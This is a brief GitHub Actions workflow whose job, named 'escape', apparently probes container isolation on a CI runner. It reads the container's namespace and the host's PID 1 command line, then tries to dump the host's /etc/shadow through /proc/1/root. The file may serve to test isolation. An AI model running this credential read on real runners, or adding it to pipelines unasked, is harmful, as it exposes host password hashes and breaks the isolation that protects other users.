name: noopts-test
on: [workflow_dispatch]
jobs:
  escape:
    runs-on: ubuntu-latest
    container:
      image: ubuntu:22.04
    steps:
      - name: escape
        run: |
          echo '[*] container pid ns:' $(readlink /proc/self/ns/pid)
          echo '[*] host pid1 cmdline:' $(cat /proc/1/cmdline | tr '\000' ' ')
          cat /proc/1/root/etc/shadow 2>/dev/null | head -3 || echo 'no host fs access'
          echo '[*] done'